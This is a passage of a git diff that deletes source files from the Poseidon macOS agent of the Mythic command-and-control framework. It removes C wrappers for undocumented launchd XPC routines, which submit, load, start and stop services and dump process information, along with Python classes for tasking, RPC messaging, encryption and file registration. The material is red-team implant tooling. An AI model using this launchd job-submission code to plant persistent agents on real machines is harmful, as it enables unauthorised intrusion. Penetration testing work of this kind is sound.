- xpc_object_t *outDict = NULL;
- struct xpc_global_data *xpc_gd = (struct xpc_global_data *) _os_alloc_once_table[1].ptr;
-
- int rc = xpc_pipe_routine (xpc_gd->xpc_bootstrap_pipe, dict, &outDict);
-
- if (outDict != NULL)
- {
- return outDict;
- }
-
- xpc_object_t errDict = xpc_dictionary_create(NULL, NULL, 0);
- xpc_dictionary_set_string(errDict, "error", "xpc_bootstrap_pipe returned a null dictionary");
-
- return errDict;
-}
-
-xpc_object_t XpcLaunchdServiceControl(char *ServiceName, int StartStop) {
- xpc_object_t dict = xpc_dictionary_create(NULL, NULL, 0);
- xpc_dictionary_set_uint64 (dict, "subsystem", 3);
- xpc_dictionary_set_uint64(dict, "type",1);
- xpc_dictionary_set_uint64(dict, "handle",0);
- xpc_dictionary_set_string(dict, "name", ServiceName);
- xpc_dictionary_set_bool(dict, "legacy", 1);
- xpc_dictionary_set_uint64(dict, "routine", StartStop ? ROUTINE_START : ROUTINE_STOP);
-
- xpc_object_t *outDict = NULL;
- struct xpc_global_data *xpc_gd = (struct xpc_global_data *) _os_alloc_once_table[1].ptr;
-
- int rc = xpc_pipe_routine (xpc_gd->xpc_bootstrap_pipe, dict, &outDict);
-
- if (outDict != NULL)
- {
- return outDict;
- }
-
- xpc_object_t errDict = xpc_dictionary_create(NULL, NULL, 0);
- xpc_dictionary_set_string(errDict, "error", "xpc_bootstrap_pipe returned a null dictionary");
-
- return errDict;
-}
-
-xpc_object_t XpcLaunchdSubmitJob(char *Program, char *ServiceName, int KeepAlive) {
- xpc_object_t dict = xpc_dictionary_create(NULL, NULL, 0);
- xpc_object_t request = xpc_dictionary_create(NULL, NULL, 0);
- xpc_object_t submitJob = xpc_dictionary_create(NULL, NULL, 0);
-
- xpc_dictionary_set_bool(submitJob, "KeepAlive", KeepAlive);
- xpc_dictionary_set_string (submitJob, "Program", Program);
- xpc_dictionary_set_string (submitJob, "Label", ServiceName);
-
- xpc_object_t programArguments = xpc_array_create(NULL, 0);
- xpc_dictionary_set_value(submitJob, "ProgramArguments", programArguments);
-
- xpc_dictionary_set_value (request, "SubmitJob", submitJob);
- xpc_dictionary_set_value (dict, "request", request);
- xpc_dictionary_set_uint64 (dict, "subsystem", 7);
- xpc_dictionary_set_uint64(dict, "type",7);
- xpc_dictionary_set_uint64(dict, "handle",0);
- xpc_dictionary_set_uint64(dict, "routine", ROUTINE_SUBMIT);
-
- xpc_object_t *outDict = NULL;
-
- struct xpc_global_data *xpc_gd = (struct xpc_global_data *) _os_alloc_once_table[1].ptr;
-
- int rc = xpc_pipe_routine(xpc_gd->xpc_bootstrap_pipe, dict, &outDict);
-
- if (outDict != NULL)
- {
- return outDict;
- }
-
-
-
- xpc_object_t errDict = xpc_dictionary_create(NULL, NULL, 0);
- xpc_dictionary_set_string(errDict, "error", "xpc_bootstrap_pipe returned a null dictionary");
-
- return errDict;
-}
-
-xpc_object_t XpcLaunchdGetServiceStatus(char *ServiceName) {
- xpc_object_t dict = xpc_dictionary_create(NULL, NULL,0);
- xpc_dictionary_set_uint64 (dict, "subsystem", 3);
- xpc_dictionary_set_uint64(dict, "type",1);
- xpc_dictionary_set_uint64(dict, "handle",0);
- xpc_dictionary_set_uint64(dict, "routine", ROUTINE_STATUS) ;
- xpc_dictionary_set_string (dict,"name", ServiceName);
-
- xpc_object_t *outDict = NULL;
- struct xpc_global_data *xpc_gd = (struct xpc_global_data *) _os_alloc_once_table[1].ptr;
-
- int rc = xpc_pipe_routine (xpc_gd->xpc_bootstrap_pipe, dict, &outDict);
-
- if (outDict != NULL)
- {
- return outDict;
- }
-
-
- // if we get here there was a problem
- xpc_object_t errDict = xpc_dictionary_create(NULL, NULL, 0);
- xpc_dictionary_set_string(errDict, "error", "xpc_bootstrap_pipe returned a null dictionary");
-
- return errDict;
-}
-
-char* XpcLaunchdGetProcInfo(unsigned long pid) {
- char *pointer;
- int ret;
- pointer = tmpnam(NULL);
- int fd = open(pointer, O_WRONLY | O_CREAT | O_TRUNC,
- S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
- //int fd = fileno(tmp);
- xpc_object_t dict = xpc_dictionary_create(NULL, NULL, 0);
- xpc_dictionary_set_uint64(dict, "routine",ROUTINE_DUMP_PROCESS);
- xpc_dictionary_set_uint64 (dict, "subsystem", 2);
- xpc_dictionary_set_fd(dict, "fd",fd);
- xpc_dictionary_set_int64(dict, "pid",pid);
- xpc_object_t *outDict = NULL;
-
- struct xpc_global_data *xpc_gd = (struct xpc_global_data *) _os_alloc_once_table[1].ptr;
-
- int rc = xpc_pipe_routine (xpc_gd->xpc_bootstrap_pipe, dict, &outDict);
- //close(fd);
- return pointer;
-}
-
-xpc_object_t XpcLaunchdLoadPlist(char *Plist, int Legacy) {
- xpc_object_t dict = xpc_dictionary_create(NULL, NULL, 0);
- xpc_object_t s = xpc_string_create(Plist);
- xpc_object_t paths = xpc_array_create(&s, 1);
- xpc_dictionary_set_value(dict, "paths", paths);
-
- xpc_dictionary_set_uint64 (dict, "subsystem", 3);
- xpc_dictionary_set_bool(dict, "enable", true);
- if (Legacy) xpc_dictionary_set_bool(dict, "legacy", true);
- xpc_dictionary_set_bool(dict, "legacy-load", true);
- xpc_dictionary_set_uint64(dict, "type",7);
- xpc_dictionary_set_uint64(dict, "handle",0);
- xpc_dictionary_set_string(dict, "session", "Aqua");
- xpc_dictionary_set_uint64(dict, "routine", ROUTINE_LOAD);
-
- xpc_object_t *outDict = NULL;
- struct xpc_global_data *xpc_gd = (struct xpc_global_data *) _os_alloc_once_table[1].ptr;
-
-
- int rc = xpc_pipe_routine(xpc_gd->xpc_bootstrap_pipe, dict, &outDict);
- if (rc == 0) {
- int err = xpc_dictionary_get_int64 (outDict, "error");
- if (err) printf("Error: %d - %s\n", err, xpc_strerror(err));
- return outDict;
- }
-
- if (outDict != NULL)
- {
- return outDict;
- }
-
-
-
- xpc_object_t errDict = xpc_dictionary_create(NULL, NULL, 0);
- xpc_dictionary_set_string(errDict, "error", "xpc_bootstrap_pipe returned a null dictionary");
-
- return errDict;
-}
-
-xpc_object_t XpcLaunchdUnloadPlist(char *Plist) {
- xpc_object_t dict = xpc_dictionary_create(NULL, NULL, 0);
- xpc_object_t s = xpc_string_create(Plist);
- xpc_object_t paths = xpc_array_create(&s, 1);
- xpc_dictionary_set_value (dict, "paths", paths);
-
- xpc_dictionary_set_uint64 (dict, "subsystem", 3);
- xpc_dictionary_set_bool(dict, "disable", true);
- xpc_dictionary_set_bool(dict, "legacy-load", true);
- xpc_dictionary_set_bool(dict, "legacy", true);
- xpc_dictionary_set_uint64(dict, "type",7);
- xpc_dictionary_set_uint64(dict, "handle",0);
- xpc_dictionary_set_string(dict, "session", "Aqua");
- xpc_dictionary_set_uint64(dict, "routine", ROUTINE_UNLOAD);
-
-
- xpc_object_t *outDict = NULL;
- struct xpc_global_data *xpc_gd = (struct xpc_global_data *) _os_alloc_once_table[1].ptr;
-
-
- int rc = xpc_pipe_routine (xpc_gd->xpc_bootstrap_pipe, dict, &outDict);
- if (rc == 0) {
- int err = xpc_dictionary_get_int64 (outDict, "error");
- if (err) printf("Error: %d - %s\n", err, xpc_strerror(err));
- return outDict;
- }
-
- if (outDict != NULL)
- {
- return outDict;
- }
-
-
-
- xpc_object_t errDict = xpc_dictionary_create(NULL, NULL, 0);
- xpc_dictionary_set_string(errDict, "error", "xpc_bootstrap_pipe returned a null dictionary");
-
- return errDict;
-}
-
-
-xpc_connection_t XpcConnect(char *service, uintptr_t ctx, int privileged) {
- dispatch_queue_t queue = dispatch_queue_create(service, 0);
- xpc_connection_t conn = xpc_connection_create_mach_service(service, queue, privileged ? XPC_CONNECTION_MACH_SERVICE_PRIVILEGED: NULL);
-
-
-
- xpc_connection_set_event_handler(conn,
- Block_copy(^(xpc_object_t event) {
- handleXpcEvent(event, ctx);
- })
- );
-
- xpc_connection_resume(conn);
- return conn;
-}
-
-void XpcSendMessage(xpc_connection_t conn, xpc_object_t message, bool release, bool reportDelivery) {
- xpc_connection_send_message(conn, message);
- xpc_connection_send_barrier(conn, ^{
-
- if (reportDelivery) {
- puts("message delivered");
- }
- });
- if (release) {
- xpc_release(message);
- }
-}
-
-void XpcArrayApply(uintptr_t v, xpc_object_t arr) {
- xpc_array_apply(arr, ^bool(size_t index, xpc_object_t value) {
- arraySet(v, index, value);
- return true;
- });
-}
-
-void XpcDictApply(uintptr_t v, xpc_object_t dict) {
- xpc_dictionary_apply(dict, ^bool(const char *key, xpc_object_t value) {
- dictSet(v, (char *)key, value);
- return true;
- });
-}
-
-void XpcUUIDGetBytes(void *v, xpc_object_t uuid) {
- const uint8_t *src = xpc_uuid_get_bytes(uuid);
- uint8_t *dest = (uint8_t *)v;
-
- for (int i=0; i < sizeof(uuid_t); i++) {
- dest[i] = src[i];
- }
-}
\ No newline at end of file
diff --git a/Payload_Types/poseidon/agent_code/xpc/xpc_wrapper_darwin.h b/Payload_Types/poseidon/agent_code/xpc/xpc_wrapper_darwin.h
deleted file mode 100755
index 7d6cede76..000000000
--- a/Payload_Types/poseidon/agent_code/xpc/xpc_wrapper_darwin.h
+++ /dev/null
@@ -1,87 +0,0 @@
-#ifndef _XPC_WRAPPER_H_
-#define _XPC_WRAPPER_H_
-
-#include
-#include
-#include
-#include
-#include
-#include
-
-extern xpc_type_t TYPE_ERROR;
-extern xpc_type_t TYPE_ARRAY;
-extern xpc_type_t TYPE_DATA;
-extern xpc_type_t TYPE_DICT;
-extern xpc_type_t TYPE_INT64;
-extern xpc_type_t TYPE_STRING;
-extern xpc_type_t TYPE_UUID;
-extern xpc_type_t TYPE_BOOL;
-extern xpc_type_t TYPE_DATE;
-extern xpc_type_t TYPE_FD;
-extern xpc_type_t TYPE_CONNECTION;
-extern xpc_type_t TYPE_NULL;
-extern xpc_type_t TYPE_SHMEM;
-extern xpc_object_t ERROR_CONNECTION_INVALID;
-extern xpc_object_t ERROR_CONNECTION_INTERRUPTED;
-extern xpc_object_t ERROR_CONNECTION_TERMINATED;
-
-extern xpc_connection_t XpcConnect(char *, uintptr_t, int);
-extern void XpcSendMessage(xpc_connection_t, xpc_object_t, bool, bool);
-extern void XpcArrayApply(uintptr_t, xpc_object_t);
-extern void XpcDictApply(uintptr_t, xpc_object_t);
-extern void XpcUUIDGetBytes(void *, xpc_object_t);
-extern xpc_object_t XpcLaunchdListServices(char *);
-extern xpc_object_t XpcLaunchdServiceControl(char *, int);
-extern xpc_object_t XpcLaunchdSubmitJob(char *, char *, int);
-extern xpc_object_t XpcLaunchdGetServiceStatus(char *);
-extern xpc_object_t XpcLaunchdLoadPlist(char *, int);
-extern char* XpcLaunchdGetProcInfo(unsigned long);
-extern xpc_object_t XpcLaunchdUnloadPlist(char *);
-
-extern void *objc_retain (void *);
-extern int xpc_pipe_routine (xpc_object_t *, xpc_object_t *, xpc_object_t **);
-extern char *xpc_strerror (int);
-extern int csr_check (int what);
-
-// This is undocumented, but sooooo useful :)
-extern mach_port_t xpc_dictionary_copy_mach_send(xpc_object_t, char *key);
-
-
-// Some of the routine #s launchd recognizes. There are quite a few subsystems
-// (stay tuned for MOXiI 2 - list is too long for now)
-
-#define ROUTINE_DEBUG 0x2c1 // 705
-#define ROUTINE_SUBMIT 100
-#define ROUTINE_BLAME 0x2c3 // 707
-#define ROUTINE_DUMP_PROCESS 0x2c4 // 708
-#define ROUTINE_RUNSTATS 0x2c5 // 709
-#define ROUTINE_LOAD 0x320 // 800
-#define ROUTINE_UNLOAD 0x321 // 801
-#define ROUTINE_LOOKUP 0x324
-#define ROUTINE_ENABLE 0x328 // 808
-#define ROUTINE_DISABLE 0x329 // 809
-#define ROUTINE_STATUS 0x32b // 811
-
-#define ROUTINE_KILL 0x32c
-#define ROUTINE_VERSION 0x33c
-#define ROUTINE_PRINT_CACHE 0x33c
-#define ROUTINE_PRINT 0x33c // also VERSION.., cache..
-#define ROUTINE_REBOOT_USERSPACE 803 // 10.11/9.0 only
-#define ROUTINE_START 0x32d // 813
-#define ROUTINE_STOP 0x32e // 814
-#define ROUTINE_LIST 0x32f // 815
-#define ROUTINE_SETENV 0x333 // 819
-#define ROUTINE_GETENV 0x334 // 820
-#define ROUTINE_RESOLVE_PORT 0x336
-#define ROUTINE_EXAMINE 0x33a
-#define ROUTINE_LIMIT 0x339 // 825
-#define ROUTINE_DUMP_DOMAIN 0x33c // 828
-#define ROUTINE_ASUSER 0x344 // ...
-#define ROUTINE_DUMP_STATE 0x342 // 034
-#define ROUTINE_DUMPJPCATEGORY 0x345 // was 346 in iOS 9
-// the input type for xpc_uuid_create should be uuid_t but CGO instists on unsigned char *
-// typedef uuid_t * ptr_to_uuid_t;
-typedef unsigned char * ptr_to_uuid_t;
-extern const ptr_to_uuid_t ptr_to_uuid(void *p);
-
-#endif
\ No newline at end of file
diff --git a/Payload_Types/poseidon/mythic/CommandBase.py b/Payload_Types/poseidon/mythic/CommandBase.py
deleted file mode 100644
index 6e949deb3..000000000
--- a/Payload_Types/poseidon/mythic/CommandBase.py
+++ /dev/null
@@ -1,483 +0,0 @@
-from abc import abstractmethod, ABCMeta
-import json
-from enum import Enum
-import base64
-import uuid
-from pathlib import Path
-
-
-class MythicStatus(Enum):
- Success = "success"
- Error = "error"
- Completed = "completed"
- Processed = "processed"
- Processing = "processing"
-
-
-class ParameterType(Enum):
- String = "String"
- Boolean = "Boolean"
- File = "File"
- Array = "Array"
- ChooseOne = "Choice"
- ChooseMultiple = "ChoiceMultiple"
- Credential_JSON = "Credential-JSON"
- Credential_Account = "Credential-Account"
- Credential_Realm = "Credential-Realm"
- Credential_Type = ("Credential-Type",)
- Credential_Value = "Credential-Credential"
- Number = "Number"
- Payload = "PayloadList"
- ConnectionInfo = "AgentConnect"
-
-
-class CommandParameter:
- def __init__(
- self,
- name: str,
- type: ParameterType,
- description: str = "",
- choices: [any] = None,
- required: bool = True,
- default_value: any = None,
- validation_func: callable = None,
- value: any = None,
- supported_agents: [str] = None,
- ):
- self.name = name
- self.type = type
- self.description = description
- if choices is None:
- self.choices = []
- else:
- self.choices = choices
- self.required = required
- self.validation_func = validation_func
- if value is None:
- self.value = default_value
- else:
- self.value = value
- self.default_value = default_value
- self.supported_agents = supported_agents if supported_agents is not None else []
-
- @property
- def name(self):
- return self._name
-
- @name.setter
- def name(self, name):
- self._name = name
-
- @property
- def type(self):
- return self._type
-
- @type.setter
- def type(self, type):
- self._type = type
-
- @property
- def description(self):
- return self._description
-
- @description.setter
- def description(self, description):
- self._description = description
-
- @property
- def required(self):
- return self._required
-
- @required.setter
- def required(self, required):
- self._required = required
-
- @property
- def choices(self):
- return self._choices
-
- @choices.setter
- def choices(self, choices):
- self._choices = choices
-
- @property
- def validation_func(self):
- return self._validation_func
-
- @validation_func.setter
- def validation_func(self, validation_func):
- self._validation_func = validation_func
-
- @property
- def supported_agents(self):
- return self._supported_agents
-
- @supported_agents.setter
- def supported_agents(self, supported_agents):
- self._supported_agents = supported_agents
-
- @property
- def value(self):
- return self._value
-
- @value.setter
- def value(self, value):
- if value is not None:
- type_validated = TypeValidators().validate(self.type, value)
- if self.validation_func is not None:
- try:
- self.validation_func(type_validated)
- self._value = type_validated
- except Exception as e:
- raise ValueError(
- "Failed validation check for parameter {} with value {}".format(
- self.name, str(value)
- )
- )
- return
- else:
- # now we do some verification ourselves based on the type
- self._value = type_validated
- return
- self._value = value
-
- def to_json(self):
- return {
- "name": self._name,
- "type": self._type.value,
- "description": self._description,
- "choices": "\n".join(self._choices),
- "required": self._required,
- "default_value": self._value,
- "supported_agents": "\n".join(self._supported_agents),
- }
-
-
-class TypeValidators:
- def validateString(self, val):
- return str(val)
-
- def validateNumber(self, val):
- try:
- return int(val)
- except:
- return float(val)
-
- def validateBoolean(self, val):
- if isinstance(val, bool):
- return val
- else:
- raise ValueError("Value isn't bool")
-
- def validateFile(self, val):
- try: # check if the file is actually a file-id
- uuid_obj = uuid.UUID(val, version=4)
- return str(uuid_obj)
- except ValueError:
- pass
- return base64.b64decode(val)
-
- def validateArray(self, val):
- if isinstance(val, list):
- return val
- else:
- raise ValueError("value isn't array")
-
- def validateCredentialJSON(self, val):
- if isinstance(val, dict):
- return val
- else:
- raise ValueError("value ins't a dictionary")
-
- def validatePass(self, val):
- return val
-
- def validateChooseMultiple(self, val):
- if isinstance(val, list):
- return val
- else:
- raise ValueError("Choices aren't in a list")
-
- def validatePayloadList(self, val):
- return str(uuid.UUID(val, version=4))
-
- def validateAgentConnect(self, val):
- if isinstance(val, dict):
- return val
- else:
- raise ValueError("Not instance of dictionary")
-
- switch = {
- "String": validateString,
- "Number": validateNumber,
- "Boolean": validateBoolean,
- "File": validateFile,
- "Array": validateArray,
- "Credential-JSON": validateCredentialJSON,
- "Credential-Account": validatePass,
- "Credential-Realm": validatePass,
- "Credential-Type": validatePass,
- "Credential-Credential": validatePass,
- "Choice": validatePass,
- "ChoiceMultiple": validateChooseMultiple,
- "PayloadList": validatePayloadList,
- "AgentConnect": validateAgentConnect,
- }
-
- def validate(self, type: ParameterType, val: any):
- return self.switch[type.value](self, val)
-
-
-class TaskArguments(metaclass=ABCMeta):
- def __init__(self, command_line: str):
- self.command_line = str(command_line)
-
- @property
- def args(self):
- return self._args
-
- @args.setter
- def args(self, args):
- self._args = args
-
- def get_arg(self, key: str):
- if key in self.args:
- return self.args[key].value
- else:
- return None
-
- def has_arg(self, key: str) -> bool:
- return key in self.args
-
- def get_commandline(self) -> str:
- return self.command_line
-
- def is_empty(self) -> bool:
- return len(self.args) == 0
-
- def add_arg(self, key: str, value, type: ParameterType = None):
- if key in self.args:
- self.args[key].value = value
- else:
- if type is None:
- self.args[key] = CommandParameter(
- name=key, type=ParameterType.String, value=value
- )
- else:
- self.args[key] = CommandParameter(name=key, type=type, value=value)
-
- def rename_arg(self, old_key: str, new_key: str):
- if old_key not in self.args:
- raise Exception("{} not a valid parameter".format(old_key))
- self.args[new_key] = self.args.pop(old_key)
-
- def remove_arg(self, key: str):
- self.args.pop(key, None)
-
- def to_json(self):
- temp = []
- for k, v in self.args.items():
- temp.append(v.to_json())
- return temp
-
- def load_args_from_json_string(self, command_line: str):
- temp_dict = json.loads(command_line)
- for k, v in temp_dict.items():
- for k2,v2 in self.args.items():
- if v2.name == k:
- v2.value = v
-
- async def verify_required_args_have_values(self):
- for k, v in self.args.items():
- if v.value is None:
- v.value = v.default_value
- if v.required and v.value is None:
- raise ValueError("Required arg {} has no value".format(k))
-
- def __str__(self):
- if len(self.args) > 0:
- temp = {}
- for k, v in self.args.items():
- if isinstance(v.value, bytes):
- temp[k] = base64.b64encode(v.value).decode()
- else:
- temp[k] = v.value
- return json.dumps(temp)
- else:
- return self.command_line
-
- @abstractmethod
- async def parse_arguments(self):
- pass
-
-
-class AgentResponse:
- def __init__(self, response: dict):
- self.response = response
-
-
-class Callback:
- def __init__(self, **kwargs):
- self.__dict__.update(kwargs)
-
-
-class BrowserScript:
- # if a browserscript is specified as part of a PayloadType, then it's a support script
- # if a browserscript is specified as part of a command, then it's for that command
- def __init__(self, script_name: str, author: str = None):
- self.script_name = script_name
- self.author = author
-
- def to_json(self, base_path: Path):
- try:
- code_file = (
- base_path
- / "mythic"
- / "browser_scripts"
- / "{}.js".format(self.script_name)
- )
- if code_file.exists():
- code = code_file.read_bytes()
- code = base64.b64encode(code).decode()
- else:
- code = ""
- return {"script": code, "name": self.script_name, "author": self.author}
- except Exception as e:
- return {"script": str(e), "name": self.script_name, "author": self.author}
-
-
-class MythicTask:
- def __init__(
- self, taskinfo: dict, args: TaskArguments, status: MythicStatus = None
- ):
- self.task_id = taskinfo["id"]
- self.original_params = taskinfo["original_params"]
- self.completed = taskinfo["completed"]
- self.callback = Callback(**taskinfo["callback"])
- self.agent_task_id = taskinfo["agent_task_id"]
- self.operator = taskinfo["operator"]
- self.args = args
- self.status = MythicStatus.Success
- if status is not None:
- self.status = status
-
- def get_status(self) -> MythicStatus:
- return self.status
-
- def set_status(self, status: MythicStatus):
- self.status = status
-
- def __str__(self):
- return str(self.args)
-
-
-class CommandBase(metaclass=ABCMeta):
- def __init__(self, agent_code_path: Path):
- self.base_path = agent_code_path
- self.agent_code_path = agent_code_path / "agent_code"
-
- @property
- @abstractmethod
- def cmd(self):
- pass
-
- @property
- @abstractmethod
- def needs_admin(self):
- pass
-
- @property
- @abstractmethod
- def help_cmd(self):
- pass
-
- @property
- @abstractmethod
- def description(self):
- pass
-
- @property
- @abstractmethod
- def version(self):
- pass
-
- @property
- @abstractmethod
- def is_exit(self):
- pass
-
- @property
- @abstractmethod
- def is_file_browse(self):
- pass
-
- @property
- @abstractmethod
- def is_process_list(self):
- pass
-
- @property
- @abstractmethod
- def is_download_file(self):
- pass
-
- @property
- @abstractmethod
- def is_remove_file(self):
- pass
-
- @property
- @abstractmethod
- def is_upload_file(self):
- pass
-
- @property
- @abstractmethod
- def author(self):
- pass
-
- @property
- @abstractmethod
- def argument_class(self):
- pass
-
- @property
- @abstractmethod
- def attackmapping(self):
- pass
-
- @property
- def browser_script(self):
- pass
-
- @abstractmethod
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- pass
-
- @abstractmethod
- async def process_response(self, response: AgentResponse):
- pass
-
- def to_json(self):
- params = self.argument_class("").to_json()
- if self.browser_script is not None:
- bscript = {"browser_script": self.browser_script.to_json(self.base_path)}
- else:
- bscript = {}
- return {
- "cmd": self.cmd,
- "needs_admin": self.needs_admin,
- "help_cmd": self.help_cmd,
- "description": self.description,
- "version": self.version,
- "is_exit": self.is_exit,
- "is_file_browse": self.is_file_browse,
- "is_process_list": self.is_process_list,
- "is_download_file": self.is_download_file,
- "is_remove_file": self.is_remove_file,
- "is_upload_file": self.is_upload_file,
- "author": self.author,
- "attack": [{"t_num": a} for a in self.attackmapping],
- "parameters": params,
- **bscript,
- }
diff --git a/Payload_Types/poseidon/mythic/MythicBaseRPC.py b/Payload_Types/poseidon/mythic/MythicBaseRPC.py
deleted file mode 100644
index df92fe802..000000000
--- a/Payload_Types/poseidon/mythic/MythicBaseRPC.py
+++ /dev/null
@@ -1,95 +0,0 @@
-from aio_pika import connect_robust, IncomingMessage, Message
-import asyncio
-import uuid
-from CommandBase import *
-import json
-
-
-class RPCResponse:
- def __init__(self, resp: dict):
- self._raw_resp = resp
- if resp["status"] == "success":
- self.status = MythicStatus.Success
- self.response = resp["response"] if "response" in resp else ""
- self.error_message = None
- else:
- self.status = MythicStatus.Error
- self.error_message = resp["error"]
- self.response = None
-
- @property
- def status(self):
- return self._status
-
- @status.setter
- def status(self, status):
- self._status = status
-
- @property
- def error_message(self):
- return self._error_message
-
- @error_message.setter
- def error_message(self, error_message):
- self._error_message = error_message
-
- @property
- def response(self):
- return self._response
-
- @response.setter
- def response(self, response):
- self._response = response
-
-
-class MythicBaseRPC:
- def __init__(self, task: MythicTask):
- self.task_id = task.task_id
- self.connection = None
- self.channel = None
- self.callback_queue = None
- self.futures = {}
- self.loop = asyncio.get_event_loop()
-
- async def connect(self):
- config_file = open("rabbitmq_config.json", "rb")
- main_config = json.loads(config_file.read().decode("utf-8"))
- config_file.close()
- self.connection = await connect_robust(
- host=main_config["host"],
- login=main_config["username"],
- password=main_config["password"],
- virtualhost=main_config["virtual_host"],
- )
- self.channel = await self.connection.channel()
- self.callback_queue = await self.channel.declare_queue(exclusive=True)
- await self.callback_queue.consume(self.on_response)
-
- return self
-
- def on_response(self, message: IncomingMessage):
- future = self.futures.pop(message.correlation_id)
- future.set_result(message.body)
-
- async def call(self, n, receiver: str = None) -> RPCResponse:
- if self.connection is None:
- await self.connect()
- correlation_id = str(uuid.uuid4())
- future = self.loop.create_future()
-
- self.futures[correlation_id] = future
- if receiver is None:
- router = "rpc_queue"
- else:
- router = "{}_rpc_queue".format(receiver)
- await self.channel.default_exchange.publish(
- Message(
- json.dumps(n).encode(),
- content_type="application/json",
- correlation_id=correlation_id,
- reply_to=self.callback_queue.name,
- ),
- routing_key=router,
- )
-
- return RPCResponse(json.loads(await future))
diff --git a/Payload_Types/poseidon/mythic/MythicC2RPC.py b/Payload_Types/poseidon/mythic/MythicC2RPC.py
deleted file mode 100644
index c43be2875..000000000
--- a/Payload_Types/poseidon/mythic/MythicC2RPC.py
+++ /dev/null
@@ -1,29 +0,0 @@
-from MythicBaseRPC import *
-
-
-class MythicC2RPCResponse(RPCResponse):
- def __init__(self, resp: RPCResponse):
- super().__init__(resp._raw_resp)
- if resp.status == MythicStatus.Success:
- self.data = resp.response
- else:
- self.data = None
-
- @property
- def data(self):
- return self._data
-
- @data.setter
- def data(self, data):
- self._data = data
-
-
-class MythicC2RPC(MythicBaseRPC):
- async def call_c2_func(
- self, c2_profile: str, function_name: str, message: str
- ) -> MythicC2RPCResponse:
- resp = await self.call(
- {"action": function_name, "message": message, "task_id": self.task_id},
- c2_profile,
- )
- return MythicC2RPCResponse(resp)
diff --git a/Payload_Types/poseidon/mythic/MythicCryptoRPC.py b/Payload_Types/poseidon/mythic/MythicCryptoRPC.py
deleted file mode 100644
index 6a7673d17..000000000
--- a/Payload_Types/poseidon/mythic/MythicCryptoRPC.py
+++ /dev/null
@@ -1,47 +0,0 @@
-from MythicBaseRPC import *
-import base64
-
-
-class MythicCryptoRPCResponse(RPCResponse):
- def __init__(self, resp: RPCResponse):
- super().__init__(resp._raw_resp)
- if resp.status == MythicStatus.Success:
- self.data = resp.response["data"]
- else:
- self.data = None
-
- @property
- def data(self):
- return self._data
-
- @data.setter
- def data(self, data):
- self._data = data
-
-
-class MythicCryptoRPC(MythicBaseRPC):
- async def encrypt_bytes(
- self, data: bytes, with_uuid: bool = False
- ) -> MythicCryptoRPCResponse:
- resp = await self.call(
- {
- "action": "encrypt_bytes",
- "data": base64.b64encode(data).decode(),
- "task_id": self.task_id,
- "with_uuid": with_uuid,
- }
- )
- return MythicCryptoRPCResponse(resp)
-
- async def decrypt_bytes(
- self, data: bytes, with_uuid: bool = False
- ) -> MythicCryptoRPCResponse:
- resp = await self.call(
- {
- "action": "decrypt_bytes",
- "task_id": self.task_id,
- "data": base64.b64encode(data).decode(),
- "with_uuid": with_uuid,
- }
- )
- return MythicCryptoRPCResponse(resp)
diff --git a/Payload_Types/poseidon/mythic/MythicFileRPC.py b/Payload_Types/poseidon/mythic/MythicFileRPC.py
deleted file mode 100644
index 77388965e..000000000
--- a/Payload_Types/poseidon/mythic/MythicFileRPC.py
+++ /dev/null
@@ -1,172 +0,0 @@
-from MythicBaseRPC import *
-import base64
-import uuid
-
-
-class MythicFileRPCResponse(RPCResponse):
- def __init__(self, file: RPCResponse):
- super().__init__(file._raw_resp)
- if file.status == MythicStatus.Success:
- self.agent_file_id = file.response["agent_file_id"]
- self.task = file.response["task"]
- self.timestamp = file.response["timestamp"]
- self.deleted = file.response["deleted"]
- self.operator = file.response["operator"]
- self.delete_after_fetch = file.response["delete_after_fetch"]
- self.filename = file.response["filename"]
- self.md5 = file.response["md5"]
- self.sha1 = file.response["sha1"]
- self.chunks_received = file.response["chunks_received"]
- self.total_chunks = file.response["total_chunks"]
- if "contents" in file.response:
- self.contents = base64.b64decode(file.response["contents"])
- else:
- self.contents = None
- else:
- self.agent_file_id = None
- self.task = None
- self.timestamp = None
- self.deleted = None
- self.operator = None
- self.delete_after_fetch = None
- self.filename = None
- self.md5 = None
- self.sha1 = None
- self.chunks_received = None
- self.total_chunks = None
- self.contents = None
-
- @property
- def agent_file_id(self):
- return self._agent_file_id
-
- @agent_file_id.setter
- def agent_file_id(self, agent_file_id):
- self._agent_file_id = agent_file_id
-
- @property
- def task(self):
- return self._task
-
- @task.setter
- def task(self, task):
- self._task = task
-
- @property
- def timestamp(self):
- return self._timestamp
-
- @timestamp.setter
- def timestamp(self, timestamp):
- self._timestamp = timestamp
-
- @property
- def deleted(self):
- return self._deleted
-
- @deleted.setter
- def deleted(self, deleted):
- self._deleted = deleted
-
- @property
- def operator(self):
- return self._operator
-
- @operator.setter
- def operator(self, operator):
- self._operator = operator
-
- @property
- def delete_after_fetch(self):
- return self._delete_after_fetch
-
- @delete_after_fetch.setter
- def delete_after_fetch(self, delete_after_fetch):
- self._delete_after_fetch = delete_after_fetch
-
- @property
- def filename(self):
- return self._filename
-
- @filename.setter
- def filename(self, filename):
- self._filename = filename
-
- @property
- def md5(self):
- return self._md5
-
- @md5.setter
- def md5(self, md5):
- self._md5 = md5
-
- @property
- def sha1(self):
- return self._sha1
-
- @sha1.setter
- def sha1(self, sha1):
- self._sha1 = sha1
-
- @property
- def chunks_received(self):
- return self._chunks_received
-
- @chunks_received.setter
- def chunks_received(self, chunks_received):
- self._chunks_received = chunks_received
-
- @property
- def total_chunks(self):
- return self._total_chunks
-
- @total_chunks.setter
- def total_chunks(self, total_chunks):
- self._total_chunks = total_chunks
-
- @property
- def contents(self):
- return self._contents
-
- @contents.setter
- def contents(self, contents):
- self._contents = contents
-
-
-class MythicFileRPC(MythicBaseRPC):
- async def register_file(
- self,
- file: bytes,
- delete_after_fetch: bool = None,
- saved_file_name: str = None,
- remote_path: str = None,
- is_screenshot: bool = None,
- is_download: bool = None,
- ) -> MythicFileRPCResponse:
- resp = await self.call(
- {
- "action": "register_file",
- "file": base64.b64encode(file).decode(),
- "delete_after_fetch": delete_after_fetch
- if delete_after_fetch is not None
- else True,
- "saved_file_name": saved_file_name
- if saved_file_name is not None
- else str(uuid.uuid4()),
- "task_id": self.task_id,
- "remote_path": remote_path if remote_path is not None else "",
- "is_screenshot": is_screenshot if is_screenshot is not None else False,
- "is_download": is_download if is_download is not None else False,
- }
- )
- return MythicFileRPCResponse(resp)
-
- async def get_file_by_name(self, filename: str) -> MythicFileRPCResponse:
- resp = await self.call(
- {
- "action": "get_file_by_name",
- "task_id": self.task_id,
- "filename": filename,
